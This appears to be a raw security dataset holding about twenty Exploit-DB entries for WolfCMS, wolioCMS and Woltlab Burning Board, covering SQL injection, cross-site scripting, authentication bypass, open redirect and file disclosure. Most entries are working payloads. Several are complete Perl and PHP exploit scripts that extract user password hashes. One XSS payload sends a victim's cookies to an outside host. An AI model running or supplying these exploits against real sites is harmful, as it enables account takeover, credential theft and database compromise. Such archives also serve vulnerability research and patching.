deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44421
Description: WolfCMS 0.8.3.1 - Open Redirection
Type: webapps
Platform: php
Date: 2018-04-09
Author: Sureshbabu Narvaneni

Exploit:
#######################################
# Exploit Title: WolfCMS 0.8.3.1 Open Redirection Vulnerability
# Google Dork: N/A
# Date: 04-04-2018
#######################################
# Exploit Author: Sureshbabu Narvaneni#
#######################################
# Author Blog : http://nullnews.in
# Vendor Homepage: http://www.wolfcms.org
# Software Link: https://bitbucket.org/wolfcms/wolf-cms-downloads/downloads/wolfcms-0.8.3.1.zip
# Affected Version: 0.8.3.1
# Category: WebApps
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686
# CVE : CVE-2018-8813
#
# 1. Vendor Description:
#
# Light-weight, fast, simple and powerful CMS. PHP-based, easily extended CMS. Uses MySQL, SQLite or (from 0.7)
# PostgreSQL for db. Simple drag & drop page hierarchy. Open source, licensed under GPLv3.
#
# 2. Technical Description:
#
# Open redirect vulnerability in the login[redirect] parameter login
functionality in WolfCMS before 0.8.3.1 allows
# remote attackers to redirect users to arbitrary web sites and conduct
phishing attacks via a malformed URL.
#
# 3. Proof Of Concept:
#
#  Navigate to http://[URL]/wolfcms/?/admin/login
#  Enter the credentials and replace login[redirect] to any url.
#  You can see the unvalidated redirect.
#
# 4. Solution:
#
# Upgrade to latest release.
# http://www.wolfcms.org/blog.html
#
# 5. Reference:
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8813
# https://github.com/wolfcms/wolfcms/issues/670
#####################################
Exploit-DB #44997
Description: WolfSight CMS 3.2 - SQL Injection
Type: webapps
Platform: php
Date: 2018-07-10
Author: Berk Dusunur

Exploit:
# Exploit Title: WolfSight CMS 3.2 - SQL Injection
# Google Dork: N/A
# Date: 2018-07-10
# Exploit Author: Berk Dusunur & Zehra Karabiber
# Vendor Homepage: http://www.wolfsight.com
# Software Link: http://www.wolfsight.com
# Version: v3.2
# Tested on: Parrot OS / WinApp Server
# CVE : N/A

# PoC Sql Injection
# Parameter: #1* (URI)
# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload: 

http://www.ip/page1-%bf%bf"-page1/' AND (SELECT 7988 FROM(SELECT COUNT(*),CONCAT(0x717a766a71,(SELECT(ELT(7988=7988,1))),0x71766b7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'WpDn'='WpDn

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 OR time-based blind
# Payload: 

http://www.ip/page1-%bf%bf"-page1/'OR SLEEP(5) AND 'kLLx'='kLLx

# PoC Cross-Site Scripting
# http://ip/admin/login.php
# Username

<IMG SRC=”javascript:alert(‘EZK’);”>

# This vulnerability was identified during bug bounty
Exploit-DB #4246
Description: wolioCMS - Authentication Bypass / SQL Injection
Type: webapps
Platform: php
Date: 2007-07-30
Author: k1tk4t

Exploit:
########################################################################
# wolioCMS - SQL Injection and Bypass Administrator Login
# Vendor        : http://www.buton.web.id/member.php?member=anon
# Download      : http://www.buton.web.id/download/woliocms.zip
# Found By      : k1tk4t - k1tk4t[4t]newhack.org
# Location      : Indonesia   --  #newhack[dot]org @irc.dal.net
########################################################################
Exploit ini berhasil jika 'magic_quotes_gpc = off'
########################################################################
file;
/common.php
bug at line73;
$sql="select * from pages where pages_id='".$_GET["id"]."' ";
----
/admin/index.php
bug at line28;
$sql="select * from member where member_email='$uid' and member_password='$pwd' and member_active='yes' ";
Variable $uid tidak terfilter dengan baik, sehingga bisa di manipulasi oleh user
########################################################################
exploit;
SQL Injection
http://localhost/_woliocms/member.php?member=admin&act=page&id='/**/UNION/**/ALL/**/SELECT/**/null,null,concat(member_email,'-',member_password),null,null,null,null,null,null,null/**/FROM/**/member/*
----
Bypass Administrator Login
http://localhost/_woliocms/admin/
Login Page
Email;
'/**/UNION/**/ALL/**/SELECT/**/member_id,member_email,member_password,member_realname,member_urlname,member_themes,member_groups_id,member_register_date,member_active,member_activation_code/**/FROM/**/member/*
Password;
Blank[just kliklogin]
########################################################################
Thanks;
str0ke
xoron [www.xoron.biz]
y3dips [y3d1ps.blogspot.com]
-newhack[dot]org|staff-
mR.opt1lc,fusion,fl3xu5,PusHm0v,Ghoz,bius,iind_id,slackX
-----------------------
all member newhack[ot]org
-----------------------
all member echo.or.id
-----------------------
tidak lupa untuk anavrin[semangat kerja bro], dan ical yang baru sembuh

# milw0rm.com [2007-07-30]
Exploit-DB #26425
Description: Woltlab 1.1/2.x - 'Info-DB Info_db.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-10-26
Author: admin@batznet.com

Exploit:
source: https://www.securityfocus.com/bid/15214/info

Info-DB is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

#!/usr/bin/perl -w

## Woltlab Burning Board <= 2.3.3 info_db.php SQL injection
##
## This perl script will fetch the MD5 hash from any wbb that is running with info_db.php
##
##
## 
##
##
##
## written by [R]
## greetz fly out to the whole rootbox/batznet crew!
##



use LWP::Simple;
use strict;
use warnings;


my $target = $ARGV[0];
my $userid = $ARGV[1];
my $exploit = "/info_db.php?action=file&fileid=-1%20UNION%20SELECT%20password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password%20FROM%20bb1_users%20WHERE%20userid=$userid/*";

# different way of exploiting, see adv.. ;)
# my $exploit = "/info_db.php?action=file&fileid=59&subkatid=10'%20UNION%20SELECT%20password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password%20FROM%20bb1_users%20WHERE%20userid=$userid/*";

if ($target eq "" && $userid eq "") {
print "\nWoltlab Burning Board <= 2.3.3 info_db.php SQL injection\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "\nUsage:\n";
print "perl $0 [TARGET] [USERID]\n";
print "perl $0 fbi.gov/path/ 1\n\n";
exit();
}


print ("\n[+] Trying to exploit the target...");
sleep(10);
print ("\n[+] Ok - should be exploited!\n");
sleep(5);


my $hash = get "http://www.$target/$exploit";


$hash =~ s/<.*?>//sg; # clean the whole html code
$hash =~ s!\ !!g; # clean  
$hash =~ s/�//g; # clean �

print ("\n[+] Successfully exploited!\n");
print ("\n");

print ("[+] MD5 Hash: ");
print $hash =~ m/\b(\w{32})\b/; 	# get the hash
print ("\n\n");


exit();

# batznet-security.de && batznet.com
Exploit-DB #3146
Description: Woltlab Burning Board 1.0.2/2.3.6 - 'search.php' SQL Injection (3)
Type: webapps
Platform: php
Date: 2007-01-17
Author: 666

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Response;

$| = 1;
print "
###################################################
##
## Woltlab Burning Board 2.3.6 <= / Lite Exploit 
##
###################################################
##
## Coded by 666 <http://blueshisha.mutebox.net>
## Bug by trew
##
###################################################
\n";

if($#ARGV < 0)
{
        print "[x] Usage: wbbsploit.pl [Target] [Userid] [Searchstring]\n";
        exit;
}
print "<~> Exploiting...\n";
my $url = shift;
my $id = shift;
my $sstring = shift;

my $ua = LWP::UserAgent->new;
my $request = new HTTP::Request('POST', 'http://'.$url.'search.php');
$request->content('searchuser=&name_exactly=1&topiconly=0&showposts=0&searchdate=0&beforeafter=after&sortby=lastpost&sortorder=desc&send=send&sid=&submit=Suchen&boardids%5B%5D=1)%20UNION%20SELECT%20username,password%20FROM%20bb1_users%20WHERE%20userid='.$id.'/*&searchstring='.$sstring.'');
$request->content_type('application/x-www-form-urlencoded');
my $response = $ua->request($request);
my $body     = $response->content;
print "<~> Hash: ";
$body=~/([a-f0-9]{32})/;
print $1;
print "\n";

# milw0rm.com [2007-01-17]
Exploit-DB #27322
Description: Woltlab Burning Board 1.1.1/2.x - 'galerie_index.php?Username' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-27
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/16843/info

Woltlab Burning Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/21new/galerie_index.php?action=count&gal_catid=5&tcase=2&gal_id=35&userid=1&username="><script>alert(document.cookie)</script>
Exploit-DB #27323
Description: Woltlab Burning Board 1.1.1/2.x - 'galerie_onfly.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-27
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/16843/info
 
Woltlab Burning Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/21new/galerie_data/galerie_onfly.php?abild=9997_mr2_2f2f_blue.jpg&width=600&show=2&inpic=Patriotic%20Hackers%20:=))&col=50&size=10&left=1000&heigh
t=100&vert=0&inpic2=Patriotic%20Hackers&nocomp=0
Exploit-DB #28089
Description: Woltlab Burning Board 1.2/2.0/2.3 - 'newthread.php?boardid' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-22
Author: CrAzY CrAcKeR

Exploit:
source: https://www.securityfocus.com/bid/18597/info

WoltLab Burning Board is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied data before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.exampls/newthread.php?boardid=[SQL]
Exploit-DB #28090
Description: Woltlab Burning Board 1.2/2.0/2.3 - 'report.php?postid' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-22
Author: CrAzY CrAcKeR

Exploit:
source: https://www.securityfocus.com/bid/18597/info
 
WoltLab Burning Board is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied data before using it in an SQL query. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
http://www.example.com/report.php?postid=[SQL]
Exploit-DB #28091
Description: Woltlab Burning Board 1.2/2.0/2.3 - 'showmods.php?boardid' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-22
Author: CrAzY CrAcKeR

Exploit:
source: https://www.securityfocus.com/bid/18597/info
  
WoltLab Burning Board is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied data before using it in an SQL query. 
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
http://www.example.com/showmods.php?boardid=[SQL]
Exploit-DB #21779
Description: WoltLab Burning Board 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2002-09-09
Author: Cano2

Exploit:
source: https://www.securityfocus.com/bid/5675/info

WoltLab is prone to SQL injection attacks. This is due to insufficient sanitization of parameters handled by the board.php script, which may be supplied externally via the query string in a web request.

The logic of a SQL query made by the script may be modified, resulting in the potential for database corruption. It has been demonstrated that it is possible to exploit this condition to gain administrative privileges within the bulletin board system. 

board.php?boardid=[boardid]%27,%20userid=%27[victims userid, 1 is
usually an admin]&sid=[attackers session-id]
Exploit-DB #18689
Description: Woltlab Burning Board 2.2/2.3 [WN]KT KickTipp 3.1 - SQL Injection
Type: webapps
Platform: php
Date: 2012-03-31
Author: Easy Laster

Exploit:
========================================================================================
| # Title    : Woltlab Burning Board 2.2 / 2.3 [WN]KT KickTipp 3.1 remote SQL Injection 
| # Author   : Easy Laster
| # Script   : Woltlab Burning Board 2.2 / 2.3 [WN]KT KickTipp 3.1
| # Site     : webnutzer.de
| # Price    : Woltlab Burning Board Lizenz
| # Exploitation : Remote Exploit
| # Bug      : Remote SQL Injection
| # Date     : 31.03.2012
| # Language : PHP
| # Status   : vulnerable
| # Greetings: secunet.to ,4004-security-project, Team-Internet, HANN!BAL, RBK, Dr.Ogen, ezah
======================        Proof of Concept         =================================
 
 
  [+] Introduction
   
   [WN]KT KickTipp 3.1 is a Addon for the Woltlab Burning Board 2.2 / 2.3.Web Application for
   Forum Systems.In this Addon we found a remote SQL Injection vulnerability in the kt_main.php
   file.The Vulnerability is a hight risk and not fixed from the coder.You must login for the 
   remote SQL injection by the most Systems. 
 
  [+] Vulnerability
 
    http://[host]/[path]/kt_main.php?action=tabelle&liga_id=[vul]
 
  [+] Exploit
   
    http://[host]/[path]/kt_main.php?action=tabelle&liga_id=%27+u
    nion+select+1,2,3,4,5,6,concat%28userid,0x3a,username,0x3a,pa
    ssword,0x3a,email%29,8+from+bb1_users+where+userid=7--+
    
  [+] Fix
 
    No fix.
Exploit-DB #25528
Description: WoltLab Burning Board 2.3.1 - 'PMS.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-25
Author: deluxe89

Exploit:
source: https://www.securityfocus.com/bid/13353/info

WoltLab Burning Board is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/pms.php?folderid=[XSS]
Exploit-DB #25503
Description: WoltLab Burning Board 2.3.1 - 'thread.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-22
Author: deluxe89

Exploit:
source: https://www.securityfocus.com/bid/13325/info

WoltLab Burning Board is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/thread.php?threadid=[Topic_ID]&hilight=[XSS]
Exploit-DB #27444
Description: Woltlab Burning Board 2.3.4 - 'Class_DB_MySQL.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-18
Author: r57shell

Exploit:
source: https://www.securityfocus.com/bid/17147/info

Woltlab Burning Board is prone to a cross-site scripting vulnerability. This issue is due to a lack of proper sanitization of user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/filebase_redirect.php?fid='<script>location.href='http://yoursite.com/xss.php?cook='+escape(document.cookie)</script>
Exploit-DB #27355
Description: Woltlab Burning Board 2.3.4 - 'misc.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-04
Author: r57shell

Exploit:
source: https://www.securityfocus.com/bid/16959/info

Woltlab Burning Board is prone to a cross-site scripting vulnerability. This issue is due to a lack of proper sanitization of user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/wbb/acp/misc.php?sid=yoursessionid&action=workingtop&taskname=Backup%20Database&percent=<script>aler(document.cookie)</script>
Exploit-DB #15500
Description: Woltlab Burning Board 2.3.4 - File Disclosure
Type: webapps
Platform: php
Date: 2010-11-12
Author: sfx

Exploit:
# Exploit Title: Woltlab Burning Board 2.3.4 File Disclosure Vulnerability
# Date: 2010-11-12
# Author: SFX
# Version: 2.3.4
# CVE : N/A

After you've used the Exploit to get the admin account:

goto: http://lolcathost/wbb/acp/avatar.php?action=readfolder

import: acp/lib

download a backup: http://lolcathost/wbb/acp/avatar.php?action=backup

goto: http://lolcathost/wbb/acp/avatar.php?action=view

search for: config.inc.php

after you know the name (for example avatar-17.php), goto the zip archive
and open avatar-17.php

that's the config.inc.php in plaintext

tested under 2.3.4, maybe other versions work too

Greetz to:
free-hack.com, back2hack.cc, hackerking, Omegavirus, BlackBerry, fred777,
Red Tiger, Samsa
Exploit-DB #1810
Description: Woltlab Burning Board 2.3.5 - 'links.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-05-20
Author: 666

Exploit:
#!/usr/bin/perl

use IO::Socket;

print q{
################################################################################
##                                                                            ##
##  Woltlab Burning Board 2.3.4 <= "links.php" SQL Injection Exploit          ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
##  Exploit by       |  666 (SR-Crew)                                         ##
##  Bug by           |  x82                                                   ##
##  Googledork       |  inurl:/wbb2/links.php?cat                             ##
##  Usage            |  links.pl [server] [path]                              ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
##                                                                            ##
################################################################################

};

$webpage = $ARGV[0];
$directory = $ARGV[1];

if (!$webpage||!$directory) { die "[+] Exploit failed\n"; }

$wbb_dir = 
"http://".$webpage.$directory."links.php?cat=31337+union+select+password,userid+from+bb1_users";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", 
PeerPort=>"80") || die "[+] Can't connect to Server\n";
print "[+] Exploiting....\n";
print $sock "GET $wbb_dir HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Hacker\n";
print $sock "Host: $webpage\n";
print $sock "Connection: close\n\n";

while ($answer = <$sock>) {
	if ($answer =~ 
/(................................)<\/span><\/b><\/font>/) {
		print "[+] Hash: $1\n";
		exit();
	}
	if ($answer =~ /SQL-DATABASE ERROR/) {
		break;
	}
}

$wbb_dir = 
"http://".$webpage.$directory."links.php?cat=31337+union+select+password,userid+from+bb1_users";
close($sock);

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", 
PeerPort=>"80") || die "[+] Can't connect to Server\n";
print $sock "GET $wbb_dir HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Hacker\n";
print $sock "Host: $webpage\n";
print $sock "Connection: close\n\n";

while ($answer = <$sock>) {
	if ($answer =~ 
/(................................)<\/span><\/b><\/font>/) {
		print "[+] Hash: $1\n";
		exit();
	}
	if ($answer =~ /SQL-DATABASE ERROR/) {
		print "[+] Try replacing bb1_users with bb2_users\n";
		break;
	}
}
close($sock);

print "[+] Exploit failed\n";

# milw0rm.com [2006-05-20]
Exploit-DB #16202
Description: Woltlab Burning Board 2.3.6 Addon - 'hilfsmittel.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-02-21
Author: Crazyball

Exploit:
#####################################################################################

 > Woltlab Burning Board 2.3.6 Addon (hilfsmittel.php) SQL Injection Vulnerability <

#####################################################################################

[+] Autor: Crazyball
[+] Vulnerabilities [ SQL Injection ]
[+] Page: http://www.euweb.at/
[+] Language: [ PHP ]
[+] Version: Hilfsmitteldatenbank 1.0 
[+] Date: n/a
[+] Vendor: http://www.woltlab.com/de/

##########################################################################################

[+] Vulnerability

 hilfsmittel.php?action=read&katid=


[+] Exploitable

 http://[host]/[path]/hilfsmittel.php?action=read&katid=5'/**/UNION/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6,7,8,9,10/**/FROM/**/bb1_users/*
Exploit-DB #29203
Description: Woltlab Burning Board 2.3.x - 'register.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-30
Author: blueshisha

Exploit:
source: https://www.securityfocus.com/bid/21370/info

Woltlab Burning Board is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Woltlab Burning Board 2.3.6 and prior versions are vulnerable to this issue.

<?
$url = 'http://www.yoursite.com/wbb2/';
$length    = 5;
$key_chars = '123456789';
$rand_max  = strlen($key_chars) - 1;

for ($i = 0; $i < $length; $i++)
{
   $rand_pos  = rand(0, $rand_max);
   $rand_key[] = $key_chars{$rand_pos};
}

$rand = implode('', $rand_key);
$ch = curl_init();
curl_setopt($ch , CURLOPT_USERAGENT, $rand);
curl_setopt($ch , CURLOPT_URL , ''.$url.'register.php');
curl_setopt($ch , CURLOPT_POST , 1) ;
curl_setopt($ch , CURLOPT_POSTFIELDS ,
'r_username=aaaaaaaaa&r_email=aaaaaaaaa&r_[CREDENTIAL_REDACTED]_confirm[CREDENTIAL_REDACTED]_string=&key_number=1521&r_ho
mepage=&r_icq=&r_aim=&r_yim=&r_msn=&r_day=0&r_month=0&r_year=&r_gender=0&r_signature=&r_usertext=&field%5B1%5D=&field%5B2
%5D=&field%5B3%5D=&r_invisible=0&r_usecookies=1&r_admincanemail=1&r_showemail=1&r_usercanemail=1&r_emailnotify=0&r_notifi
cationperpm=0&r_receivepm=1&r_emailonpm=0&r_pmpopup=0&r_showsignatures=1&r_showavatars=1&r_showimages=1&r_daysprune=0&r_u
maxposts=0&r_threadview=0&r_dateformat=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28Strin
g.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28Str
ing.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2
C83%2C83%29%29%3C%2FSCRIPT%3E%3D%26%7B%7D&r_timeformat=H%3Ai&r_startweek=1&r_timezoneoffset=1&r_usewysiw
 yg=0&r_styleid=0&r_langid=0&send=send&sid=&disclaimer=');
curl_exec($ch);
curl_close($ch);
?>